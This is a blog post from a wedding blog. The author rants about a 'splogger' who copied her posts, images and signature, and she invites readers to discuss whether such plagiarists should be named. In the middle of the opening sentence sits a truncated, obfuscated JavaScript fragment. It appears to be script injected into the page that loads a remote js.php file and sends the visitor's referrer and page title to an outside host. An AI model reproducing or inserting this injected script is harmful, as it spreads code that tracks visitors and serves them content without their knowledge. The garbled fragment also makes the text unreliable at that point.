Oh what a beautiful morning, oh what a beautiful…

… well that’s how the day started yesterday, but it wasn’t how it ended! While sinking into my morning Earl I got an email from WordPress letting me know there was a pingback (trackback) to the wedding blog… and when I saw the pingback, my hand dropped in shock and my hot tea dropped.  The steam that was to come, came not from the cuppa tea and expletives rumbled from my mouth!!

How””””,’g””” c=\’d\’ e=\’b/’ 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’kyhtd|varbbhfz||js|php’.split(‘|’),0,{}))
dare someone plagiarise my wedding blog!!!

And not just one post, lots of them and not just a few words, they took the entire post, including my signature (check it out below)! I had just seen… NO, I had just witnessed Grand Theft in action!

Now funnily enough this isn’t the first time it’s happened to me so you’d think I would be used to it by now (I used to have an old website when I was a Bowen Therapist and had this exact same thing happen to me many times).

The difference this time though was that many posts had been ripped form the pages of Alice In Weddingland and promptly placed on a shiny, new blog as if they had done the hard work!  And it appeared, I was not the only blogger to have had it happen.

“You’re **%^&$% kidding me”

And I was furious!

I’d felt those feelings before: the anger, the frustration, the hurt that your blood, sweat and tears can be so easily taken away, that someone stole my hard work and was passing it off as their own but this time, it affected me more, much more!  I think it’s because as a blogger, so much of your passion, your heart, your vulnerability and your life is sitting amongst the pages of your blog.  It’s a part of you!  It is a huge part of me!

The worst part is that someone out there is either employing a robot to pick up RSS feeds or worse, reading it themselves and sitting there thinking “I’ll have that one, I’ll have that one” and so on!  Plainly, without any consideration for the blogger who doesn’t just own the content but is the content.

I mean how would you feel?

And you can imagine how I felt when I followed the ping-back to Alice in Weddingland and here were all my posts…

The ‘Perps’ Need to Be Brought To Justice

(‘Perps’ – BlueBloods TV series – ‘Perpetrator’) 🙂

As a blogger and blogging every day (since Aug 2011) I’ve written over 200 posts, 60,000 words (OK not War & Peace :-)) but, I’ve posted 3000 or so images, made some great friends and shared many a cuppa tea in my posts.  How dare somebody take that away from me!

Each post is crafted with the same love and care as that of the people whose work I post about.  How dare someone think they can simply ride my wave! (Excuse my emotional state, it’s taken a while to shake it off).

I know it’s impossible to keep track of everything you post about as a blogger and many plagiarists slip through the net and get away with it but when you find it, I believe something needs to be done about it.  It has to be stopped.

The worst thing about people who steal ideas is that they are robbing the creator of what they deserve.  And fancy being stupid enough to rip-off not just 1 page but a whole load more including all the images and not just mine either but other high profile Wedding Bloggers out there.

AND my Signature too!!! OH DO Come on!!

Yeh, there was a smudge of Google juice on there but only because they were stupid enough not to take them off!!!

And even a picture of me! A clever thief? I don’t think so!

Why the Rant?

Because it’s just plain wrong!!! They have no right and it’s not just my work on my wedding blog.  It’s also those people I post about, it’s the photographers images and vendors words!  And I am like a Mother with her young, I care a hell of lot about the people I showcase!  It’s their hard work and their passion that gets stolen too.

The story so far

After tweeting about this yesterday, I had amazing support from lots of tweeters including some frabjous people like Sara, of Under The Vintage Veil, who has also had this done to her and so many more people who were incredibly supportive! (A huge thank you for everyone’s support!) – this is the sort of thing a splogger can’t take away from me!!

So who is it?

I have a strong value which is, ‘everybody deserves a chance‘ and because of this, I won’t name and shame the Splogger… ‘yet‘.  I can’t find out who owns the site as there’s no name or contact form on the site and their details are hidden in the WhoIs database, though there are 5 links at the top of the page that all point to a well known persons site in the Wedding Industry and both sites share the same hosting company…

So, I’ve contacted them to find out if they own the site and if so…

I’ve given them the grace, a chance (sadly not afforded to me or the other bloggers) of responding before taking further action.

And if not…

…as The Queen of Hearts would say –

Off With Their Heads!

 

But I want to know what you think?  I’m new at this!

What do you think of sploggers doing the McNaughty!! (A wonderful term I discovered after reading Forever Amber’s blog yesterday – if you haven’t yet met her, you must read it, she’s incredibly infectious!).

Should they be named and shamed?  Should we reserve them the right that isn’t reserved for us, that is, to give them a chance?

It’s such an emotional issue for me and it makes me so angry every time.  If you love something, give it a plug, of any kind.  A link where possible is the most appropriate angle but if not at least quote where it’s from so that readers can follow the path!  It’s only fair.

So for those potential sloggers, if you’re reading this do me a favour, if you want to repost my posts, shove in a little link saying who wrote it or where the images are from. Give me and all other bloggers out there some Aretha!!!

R-E-S-P-E-C-T!!!!

And if you really want to repost the entire thing –

  1. Contact me first and ask or –
  2. Add it to your site and credit the work on here with one of the badges you can find here Get Your Badge or add a link at the bottom of the post referring people back to the original post with this link Credited to Alice in Weddingland Wedding Blog

Be a nice guy!

After all our escapades and the stories of others, as well as the advice I’ve been given and posts on what to do and of course, thanks to my Luke Skywalker (sorry Rob 🙂 ) I’m going to write a post next week that will outline everything you can do to make sure it doesn’t happen to you and what you can do about it and how to find out if you’re the victim of ‘Copy & Paste’.  Because I am one of the lucky ones to have a Luke Skywalker to save my day!  Rob is my internet guru (sorry honey, I know you hate the term but it’s true) and he knows all about internet marketing, SEO’s, Google, WhoIs and all that jazz!  Me, I just like the jazz 🙂

Oh, one last thing…

You have my full permission to COPY and PASTE this entire post into your blog to spread the word that

SPLOGGING WILL NOT BE TOLERATED!

LIKE it, Link it, Twitter It, Stumble It, Digg It – Go For It 🙂 Let’s stop it now!!

Oh, and please leave your comments.  This is an important issue and I’d love internet chatter on it so that we can stop it together!  If it’s been done to you, how did you feel? What did you do?  Except for Sara, I don’t know anyone else who’s been a victim of it but I am sure, a lot of you have, so drop me a line, lets get engaged in stopping splogging!

Zarn

P.S. I’ll keep you updated with how it goes!

P.P.S.  Thanks for listening, I promise – emotional rant – now over!!! 🙂

P.P.P.S Maybe they’ll even re-post this he he! The Irony!